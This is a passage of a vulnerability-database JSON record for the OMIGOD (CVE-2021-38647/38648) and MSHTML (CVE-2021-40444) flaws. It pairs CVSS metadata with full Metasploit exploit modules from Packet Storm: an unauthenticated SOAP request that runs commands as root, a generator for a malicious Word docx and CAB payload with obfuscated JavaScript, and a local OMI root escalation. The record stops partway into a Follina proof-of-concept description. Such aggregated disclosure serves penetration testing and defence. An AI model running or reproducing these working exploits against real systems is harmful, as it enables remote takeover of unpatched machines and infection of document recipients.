"confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-30T15:02:10", "type": "ibm", "title": "Security Bulletin: IBM QRadar Azure marketplace images include Open Management Infrastructure RPM, which is vulnerable to Remote Code Execution (CVE-2021-38647)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2021-09-30T15:02:10", "id": "1E405D4974F6EA8AB73C7DDA9E9B3B2FCA2359AF05B6CF7C124046402F2BC520", "href": "https://www.ibm.com/support/pages/node/6491159", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2021-10-28T15:41:03", "description": "", "cvss3": {}, "published": "2021-10-28T00:00:00", "type": "packetstorm", "title": "Microsoft OMI Management Interface Authentication Bypass", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-38647"], "modified": "2021-10-28T00:00:00", "id": "PACKETSTORM:164694", "href": "https://packetstormsecurity.com/files/164694/Microsoft-OMI-Management-Interface-Authentication-Bypass.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \n \nXML_NS = { 'p' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem' }.freeze \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft OMI Management Interface Authentication Bypass', \n'Description' => %q{ \nBy removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint \nthat will cause it to execute an operating system command as the root user. This vulnerability was patched in \nOMI version 1.6.8-1 (released September 8th 2021). \n}, \n'Author' => [ \n'Nir Ohfeld', # vulnerability discovery & research \n'Shir Tamari', # vulnerability discovery & research \n'Spencer McIntyre', # metasploit module \n'wvu' # vulnerability research \n], \n'References' => [ \n['CVE', '2021-38647'], \n['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647'], \n['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'], \n['URL', 'https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/'], \n['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647'] \n], \n'DisclosureDate' => '2021-09-14', \n'License' => MSF_LICENSE, \n'Platform' => ['linux', 'unix'], \n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Unix Command', \n{ \n'Platform' => 'unix', \n'Arch' => ARCH_CMD, \n'Type' => :unix_cmd \n} \n], \n[ \n'Linux Dropper', \n{ \n'Platform' => 'linux', \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :linux_dropper \n} \n] \n], \n'DefaultTarget' => 1, \n'DefaultOptions' => { \n'RPORT' => 5985, \n'SSL' => false, \n'MeterpreterTryToFork' => true \n}, \n'Notes' => { \n'AKA' => ['OMIGOD'], \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] \n} \n) \n) \n \nregister_options([ \nOptString.new('TARGETURI', [true, 'Base path', '/wsman']) \n]) \nend \n \ndef check \nhttp_res = send_command('id') \nreturn CheckCode::Unknown if http_res.nil? \nreturn CheckCode::Safe unless http_res.code == 200 \n \ncmd_res = parse_response(http_res) \nreturn CheckCode::Unknown if cmd_res.nil? || cmd_res[:stdout] !~ /uid=(\\d+)\$\\S+\$ / \n \nreturn CheckCode::Vulnerable(\"Command executed as uid #{Regexp.last_match(1)}.\") \nend \n \ndef exploit \nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\") \n \ncase target['Type'] \nwhen :unix_cmd \nresult = execute_command(payload.encoded) \nif result \nprint_status(result[:stdout]) unless result[:stdout].blank? \nprint_error(result[:stderr]) unless result[:stderr].blank? \nend \nwhen :linux_dropper \nexecute_cmdstager \nend \nend \n \ndef execute_command(cmd, _opts = {}) \nvprint_status(\"Executing command: #{cmd}\") \nres = send_command(cmd) \n \nunless res && res.code == 200 \nfail_with(Failure::UnexpectedReply, \"Failed to execute command: #{cmd}\") \nend \n \nparse_response(res) \nend \n \ndef parse_response(res) \nreturn nil unless res&.code == 200 \n \nreturn_code = res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:ReturnCode', XML_NS)&.content.to_i \nunless return_code == 0 \nprint_error(\"Failed to execute command: #{cmd} (status: #{return_code})\") \nend \n \n{ \nreturn_code: return_code, \nstdout: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdOut', XML_NS)&.content, \nstderr: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdErr', XML_NS)&.content \n} \nend \n \ndef send_command(cmd) \nsend_request_cgi( \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path), \n'ctype' => 'text/xml;charset=UTF-8', \n'data' => Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0) \n<s:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:a=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:n=\"http://schemas.xmlsoap.org/ws/2004/09/enumeration\" xmlns:w=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema\" xmlns:h=\"http://schemas.microsoft.com/wbem/wsman/1/windows/shell\" xmlns:p=\"http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd\"> \n<s:Header> \n<a:To>HTTP://127.0.0.1:5985/wsman/</a:To> \n<w:ResourceURI s:mustUnderstand=\"true\">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI> \n<a:ReplyTo> \n<a:Address s:mustUnderstand=\"true\">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address> \n</a:ReplyTo> \n<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action> \n<w:MaxEnvelopeSize s:mustUnderstand=\"true\">102400</w:MaxEnvelopeSize> \n<a:MessageID>uuid:#{Faker::Internet.uuid}</a:MessageID> \n<w:OperationTimeout>PT1M30S</w:OperationTimeout> \n<w:Locale xml:lang=\"en-us\" s:mustUnderstand=\"false\"/> \n<p:DataLocale xml:lang=\"en-us\" s:mustUnderstand=\"false\"/> \n<w:OptionSet s:mustUnderstand=\"true\"/> \n<w:SelectorSet> \n<w:Selector Name=\"__cimnamespace\">root/scx</w:Selector> \n</w:SelectorSet> \n</s:Header> \n<s:Body> \n<p:ExecuteScript_INPUT xmlns:p=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem\"> \n<p:Script>#{Rex::Text.encode_base64(cmd)}</p:Script> \n<p:Arguments/> \n<p:timeout>0</p:timeout> \n<p:b64encoded>true</p:b64encoded> \n</p:ExecuteScript_INPUT> \n</s:Body> \n</s:Envelope> \nENVELOPE \n) \nend \nend \n`\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/164694/cve_2021_38647_omigod.rb.txt"}, {"lastseen": "2021-12-09T15:33:23", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-09T00:00:00", "type": "packetstorm", "title": "Microsoft Office Word MSHTML Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-09T00:00:00", "id": "PACKETSTORM:165214", "href": "https://packetstormsecurity.com/files/165214/Microsoft-Office-Word-MSHTML-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::FILEFORMAT \ninclude Msf::Exploit::Remote::HttpServer::HTML \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft Office Word Malicious MSHTML RCE', \n'Description' => %q{ \nThis module creates a malicious docx file that when opened in Word on a vulnerable Windows \nsystem will lead to code execution. This vulnerability exists because an attacker can \ncraft a malicious ActiveX control to be used by a Microsoft Office document that hosts \nthe browser rendering engine. \n}, \n'References' => [ \n['CVE', '2021-40444'], \n['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'], \n['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'], \n['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'], \n['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'], \n['URL', 'https://github.com/klezVirus/CVE-2021-40444'] \n], \n'Author' => [ \n'lockedbyte ', # Vulnerability discovery. \n'klezVirus ', # References and PoC. \n'thesunRider', # Official Metasploit module. \n'mekhalleh (RAMELLA S\u00e9bastien)' # Zeop-CyberSecurity - code base contribution and refactoring. \n], \n'DisclosureDate' => '2021-09-23', \n'License' => MSF_LICENSE, \n'Privileged' => false, \n'Platform' => 'win', \n'Arch' => [ARCH_X64], \n'Payload' => { \n'DisableNops' => true \n}, \n'DefaultOptions' => { \n'FILENAME' => 'msf.docx' \n}, \n'Targets' => [ \n[ \n'Hosted', {} \n] \n], \n'DefaultTarget' => 0, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'Reliability' => [UNRELIABLE_SESSION], \n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] \n} \n) \n) \n \nregister_options([ \nOptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true]) \n]) \nregister_advanced_options([ \nOptPath.new('DocxTemplate', [ false, 'A DOCX file that will be used as a template to build the exploit.' ]), \n]) \nend \n \ndef bin_to_hex(bstr) \nreturn(bstr.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join) \nend \n \ndef cab_checksum(data, seed = \"\\x00\\x00\\x00\\x00\") \nchecksum = seed \n \nbytes = '' \ndata.chars.each_slice(4).map(&:join).each do |dword| \nif dword.length == 4 \nchecksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*') \nelse \nbytes = dword \nend \nend \nchecksum = checksum.reverse \n \ncase (data.length % 4) \nwhen 3 \ndword = \"\\x00#{bytes}\" \nwhen 2 \ndword = \"\\x00\\x00#{bytes}\" \nwhen 1 \ndword = \"\\x00\\x00\\x00#{bytes}\" \nelse \ndword = \"\\x00\\x00\\x00\\x00\" \nend \n \nchecksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*').reverse \nend \n \n# http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf \ndef create_cab(data) \ncab_cfdata = '' \nfilename = \"../#{File.basename(@my_resources.first)}.inf\" \nblock_size = 32768 \nstruct_cffile = 0xd \nstruct_cfheader = 0x30 \n \nblock_counter = 0 \ndata.chars.each_slice(block_size).map(&:join).each do |block| \nblock_counter += 1 \n \nseed = \"#{[block.length].pack('S')}#{[block.length].pack('S')}\" \ncsum = cab_checksum(block, seed) \n \nvprint_status(\"Data block added w/ checksum: #{bin_to_hex(csum)}\") \ncab_cfdata << csum # uint32 {4} - Checksum \ncab_cfdata << [block.length].pack('S') # uint16 {2} - Compressed Data Length \ncab_cfdata << [block.length].pack('S') # uint16 {2} - Uncompressed Data Length \ncab_cfdata << block \nend \n \ncab_size = [ \nstruct_cfheader + \nstruct_cffile + \nfilename.length + \ncab_cfdata.length \n].pack('L<') \n \n# CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB) \ncab_header = \"\\x4D\\x53\\x43\\x46\" # uint32 {4} - Header (MSCF) \ncab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Reserved (null) \ncab_header << cab_size # uint32 {4} - Archive Length \ncab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Reserved (null) \n \ncab_header << \"\\x2C\\x00\\x00\\x00\" # uint32 {4} - Offset to the first CFFILE \ncab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Reserved (null) \ncab_header << \"\\x03\" # byte {1} - Minor Version (3) \ncab_header << \"\\x01\" # byte {1} - Major Version (1) \ncab_header << \"\\x01\\x00\" # uint16 {2} - Number of Folders \ncab_header << \"\\x01\\x00\" # uint16 {2} - Number of Files \ncab_header << \"\\x00\\x00\" # uint16 {2} - Flags \n \ncab_header << \"\\xD2\\x04\" # uint16 {2} - Cabinet Set ID Number \ncab_header << \"\\x00\\x00\" # uint16 {2} - Sequential Number of this Cabinet file in a Set \n \n# CFFOLDER \ncab_header << [ # uint32 {4} - Offset to the first CFDATA in this Folder \nstruct_cfheader + \nstruct_cffile + \nfilename.length \n].pack('L<') \ncab_header << [block_counter].pack('S<') # uint16 {2} - Number of CFDATA blocks in this Folder \ncab_header << \"\\x00\\x00\" # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP) \n \n# increase file size to trigger vulnerability \ncab_header << [ # uint32 {4} - Uncompressed File Length (\"\\x02\\x00\\x5C\\x41\") \ndata.length + 1073741824 \n].pack('L<') \n \n# set current date and time in the format of cab file \ndate_time = Time.new \ndate = [((date_time.year - 1980) << 9) + (date_time.month << 5) + date_time.day].pack('S') \ntime = [(date_time.hour << 11) + (date_time.min << 5) + (date_time.sec / 2)].pack('S') \n \n# CFFILE \ncab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder) \ncab_header << \"\\x00\\x00\" # uint16 {2} - Folder ID (starts at 0) \ncab_header << date # uint16 {2} - File Date (\\x5A\\x53) \ncab_header << time # uint16 {2} - File Time (\\xC3\\x5C) \ncab_header << \"\\x20\\x00\" # uint16 {2} - File Attributes \ncab_header << filename # byte {X} - Filename (ASCII) \ncab_header << \"\\x00\" # byte {1} - null Filename Terminator \n \ncab_stream = cab_header \n \n# CFDATA \ncab_stream << cab_cfdata \nend \n \ndef generate_html \nuri = \"#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab\" \ninf = \"#{File.basename(@my_resources.first)}.inf\" \n \nfile_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js') \njs_content = ::File.binread(file_path) \n \njs_content.gsub!('REPLACE_INF', inf) \njs_content.gsub!('REPLACE_URI', uri) \nif datastore['OBFUSCATE'] \nprint_status('Obfuscate JavaScript content') \n \njs_content = Rex::Exploitation::JSObfu.new js_content \njs_content = js_content.obfuscate(memory_sensitive: false) \nend \n \nhtml = '<!DOCTYPE html><html><head><meta http-equiv=\"Expires\" content=\"-1\"><meta http-equiv=\"X-UA-Compatible\" content=\"IE=11\"></head><body><script>' \nhtml += js_content.to_s \nhtml += '</script></body></html>' \nhtml \nend \n \ndef get_file_in_docx(fname) \ni = @docx.find_index { |item| item[:fname] == fname } \n \nunless i \nfail_with(Failure::NotFound, \"This template cannot be used because it is missing: #{fname}\") \nend \n \n@docx.fetch(i)[:data] \nend \n \ndef get_template_path \ndatastore['DocxTemplate'] || File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve-2021-40444.docx') \nend \n \ndef inject_docx \ndocument_xml = get_file_in_docx('word/document.xml') \nunless document_xml \nfail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml') \nend \n \ndocument_xml_rels = get_file_in_docx('word/_rels/document.xml.rels') \nunless document_xml_rels \nfail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels') \nend \n \nuri = \"#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html\" \n@docx.each do |entry| \ncase entry[:fname] \nwhen 'word/document.xml' \nentry[:data] = document_xml.to_s.gsub!('TARGET_HERE', uri.to_s) \nwhen 'word/_rels/document.xml.rels' \nentry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', \"mhtml:#{uri}!x-usc:#{uri}\") \nend \nend \nend \n \ndef normalize_uri(*strs) \nnew_str = strs * '/' \n \nnew_str = new_str.gsub!('//', '/') while new_str.index('//') \n \n# makes sure there's a starting slash \nunless new_str[0, 1] == '/' \nnew_str = '/' + new_str \nend \n \nnew_str \nend \n \ndef on_request_uri(cli, request) \nheader_cab = { \n'Access-Control-Allow-Origin' => '*', \n'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS', \n'Cache-Control' => 'no-store, no-cache, must-revalidate', \n'Content-Type' => 'application/octet-stream', \n'Content-Disposition' => \"attachment; filename=#{File.basename(@my_resources.first)}.cab\" \n} \n \nheader_html = { \n'Access-Control-Allow-Origin' => '*', \n'Access-Control-Allow-Methods' => 'GET, POST', \n'Cache-Control' => 'no-store, no-cache, must-revalidate', \n'Content-Type' => 'text/html; charset=UTF-8' \n} \n \nif request.method.eql? 'HEAD' \nif request.raw_uri.to_s.end_with? '.cab' \nsend_response(cli, '', header_cab) \nelse \nsend_response(cli, '', header_html) \nend \nelsif request.method.eql? 'OPTIONS' \nresponse = create_response(501, 'Unsupported Method') \nresponse['Content-Type'] = 'text/html' \nresponse.body = '' \n \ncli.send_response(response) \nelsif request.raw_uri.to_s.end_with? '.html' \nprint_status('Sending HTML Payload') \n \nsend_response_html(cli, generate_html, header_html) \nelsif request.raw_uri.to_s.end_with? '.cab' \nprint_status('Sending CAB Payload') \n \nsend_response(cli, create_cab(@dll_payload), header_cab) \nend \nend \n \ndef pack_docx \n@docx.each do |entry| \nif entry[:data].is_a?(Nokogiri::XML::Document) \nentry[:data] = entry[:data].to_s \nend \nend \n \nMsf::Util::EXE.to_zip(@docx) \nend \n \ndef unpack_docx(template_path) \ndocument = [] \n \nZip::File.open(template_path) do |entries| \nentries.each do |entry| \nif entry.name.match(/\\.xml|\\.rels$/i) \ncontent = Nokogiri::XML(entry.get_input_stream.read) if entry.file? \nelsif entry.file? \ncontent = entry.get_input_stream.read \nend \n \nvprint_status(\"Parsing item from template: #{entry.name}\") \n \ndocument << { fname: entry.name, data: content } \nend \nend \n \ndocument \nend \n \ndef primer \nprint_status('CVE-2021-40444: Generate a malicious docx file') \n \n@proto = (datastore['SSL'] ? 'https' : 'http') \nif datastore['SRVHOST'] == '0.0.0.0' \ndatastore['SRVHOST'] = Rex::Socket.source_address \nend \n \ntemplate_path = get_template_path \nunless File.extname(template_path).match(/\\.docx$/i) \nfail_with(Failure::BadConfig, 'Template is not a docx file!') \nend \n \nprint_status(\"Using template '#{template_path}'\") \n@docx = unpack_docx(template_path) \n \nprint_status('Injecting payload in docx document') \ninject_docx \n \nprint_status(\"Finalizing docx '#{datastore['FILENAME']}'\") \nfile_create(pack_docx) \n \n@dll_payload = Msf::Util::EXE.to_win64pe_dll( \nframework, \npayload.encoded, \n{ \narch: payload.arch.first, \nmixed_mode: true, \nplatform: 'win' \n} \n) \nend \nend \n`\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/165214/word_mshtml_rce.rb.txt"}, {"lastseen": "2021-11-11T03:26:33", "description": "", "cvss3": {}, "published": "2021-11-10T00:00:00", "type": "packetstorm", "title": "Microsoft OMI Management Interface Authentication Bypass", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-38647", "CVE-2021-38648"], "modified": "2021-11-10T00:00:00", "id": "PACKETSTORM:164925", "href": "https://packetstormsecurity.com/files/164925/Microsoft-OMI-Management-Interface-Authentication-Bypass.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Local \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Post::File \ninclude Msf::Post::Process \ninclude Msf::Exploit::EXE \ninclude Msf::Exploit::FileDropper \n \nDEFAULT_SERVER_BIN_PATH = '/opt/omi/bin/omiserver'.freeze \nDEFAULT_SOCKET_PATH = '/var/opt/omi/run/omiserver.sock'.freeze \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft OMI Management Interface Authentication Bypass', \n'Description' => %q{ \nBy removing the authentication exchange, an attacker can issue requests to the local OMI management socket \nthat will cause it to execute an operating system command as the root user. This vulnerability was patched in \nOMI version 1.6.8-1 (released September 8th 2021). \n}, \n'References' => [ \n['CVE', '2021-38648'], \n['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648'], \n['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'], \n['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647'] \n], \n'Author' => [ \n'Nir Ohfeld', # vulnerability discovery & research \n'Shir Tamari', # vulnerability discovery & research \n'Spencer McIntyre' # metasploit module \n], \n'DisclosureDate' => '2021-09-14', \n'License' => MSF_LICENSE, \n'Platform' => ['linux', 'unix'], \n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], \n'SessionTypes' => ['shell', 'meterpreter'], \n'Targets' => [ \n[ \n'Unix Command', \n{ \n'Platform' => 'unix', \n'Arch' => ARCH_CMD, \n'Type' => :unix_cmd, \n'Payload' => { 'DisableNops' => true, 'Space' => 256 } \n} \n], \n[ \n'Linux Dropper', \n{ \n'Platform' => 'linux', \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :linux_dropper \n} \n] \n], \n'DefaultTarget' => 1, \n'DefaultOptions' => { \n'MeterpreterTryToFork' => true \n}, \n'Notes' => { \n'AKA' => ['OMIGOD'], \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] \n} \n) \n) \n \nregister_advanced_options([ \nOptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]), \nOptString.new('SocketPath', [ false, 'The path to the OMI server socket.', '' ]) \n]) \nend \n \ndef check \npid = pidof('omiserver').first \nreturn CheckCode::Safe('The omiserver process was not found.') if pid.nil? \n \nomiserver_bin = read_file(\"/proc/#{pid}/cmdline\").split(\"\\x00\", 2).first \nomiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH) \nreturn CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank? \n \nvprint_status(\"Found #{omiserver_bin} running in PID: #{pid}\") \nif cmd_exec(\"#{omiserver_bin} --version\") =~ /\\sOMI-(\\d+(\\.\\d+){2,3}(-\\d+)?)\\s/ \nversion = Regexp.last_match(1) \nelse \nreturn CheckCode::Unknown('Failed to identify the version of the omiserver binary.') \nend \n \nreturn CheckCode::Safe(\"Version #{version} is not affected.\") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0') \n \nCheckCode::Appears(\"Version #{version} is affected.\") \nend \n \ndef upload(path, data) \nprint_status \"Writing '#{path}' (#{data.size} bytes) ...\" \nwrite_file path, data \nensure \nregister_file_for_cleanup(path) \nend \n \ndef find_exec_program \n%w[python python3 python2].select(&method(:command_exists?)).first \nend \n \ndef get_socket_path \nsocket_path = datastore['SocketPath'] \nreturn socket_path unless socket_path.blank? \n \npid = pidof('omiserver').first \nfail_with(Failure::NotFound, 'The omiserver pid was not found.') if pid.nil? \n \nif read_file(\"/proc/#{pid}/net/unix\") =~ %r{\\s(/(\\S+)server\\.sock)$} \nsocket_path = Regexp.last_match(1) \nelse \nbegin \nsocket_path = DEFAULT_SOCKET_PATH if stat(DEFAULT_SOCKET_PATH).socket? \nrescue StandardError # rubocop:disable Lint/SuppressedException \nend \nend \n \nfail_with(Failure::NotFound, 'The socket path could not be found.') if socket_path.blank? \n \nvprint_status(\"Socket path: #{socket_path}\") \nsocket_path \nend \n \ndef exploit \npython_binary = find_exec_program \nfail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary \n \nvprint_status(\"Using '#{python_binary}' to run the exploit\") \nsocket_path = get_socket_path \npath = datastore['WritableDir'] \npython_script = rand_text_alphanumeric(5..10) + '.py' \n \ncase target['Type'] \nwhen :unix_cmd \nroot_cmd = payload.encoded \nwhen :linux_dropper \nunless path.start_with?('/') \n# the command will be executed from a different working directory so use an absolute path \nfail_with(Failure::BadConfig, 'The payload path must be an absolute path.') \nend \n \npayload_path = \"#{path}/#{rand_text_alphanumeric(5..10)}\" \nif payload_path.length > 256 \n# the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in the \n# command that is executed \nfail_with(Failure::BadConfig, 'The payload path is too long (>256 characters).') \nend \n \nupload(payload_path, generate_payload_exe) \ncmd_exec(\"chmod +x '#{payload_path}'\") \nroot_cmd = payload_path \nend \n \nupload(\"#{path}/#{python_script}\", exploit_data('CVE-2021-38648', 'cve_2021_38648.py')) \ncmd = \"#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'\" \nvprint_status(\"Running #{cmd}\") \noutput = cmd_exec(cmd) \nvprint_line(output) unless output.blank? \nend \nend \n`\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/164925/cve_2021_38648_omigod.rb.txt"}, {"lastseen": "2022-05-31T17:41:58", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-05-31T00:00:00", "type": "packetstorm", "title": "Microsoft Office MSDT Follina Proof Of Concept", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444", "CVE-2021-44444", "CVE-2022-30190"], "modified": "2022-05-31T00:00:00", "id": "PACKETSTORM:167317", "href": "https://packetstormsecurity.com/files/167317/Microsoft-Office-MSDT-Follina-Proof-Of-Concept.html", "sourceData": "`# POC CVE-2022-30190 : CVE 0-day MS Offic RCE aka msdt follina \n \n> Info : [New Microsoft Office zero-day used in attacks to execute PowerShell](https://www.bleepingcomputer.com/news/security/new-microsoft-office-zero-day-used-in-attacks-to-execute-powershell/) \n \n## Summary \n \nOn the 29th of May 2022, the Nao_Sec team, an independent Cyber Security Research \nTeam, discovered a malicious Office document shared on Virustotal. This document is \nusing an unusual, but known scheme to infect its victims. The scheme was not detected as \nmalicious by some EDR, like Microsoft Defender for Endpoint. This vulnerability could lead to \ncode execution without the need of user interaction, as it does not involve macros, except if the \nProtected View mode is enabled. There is no 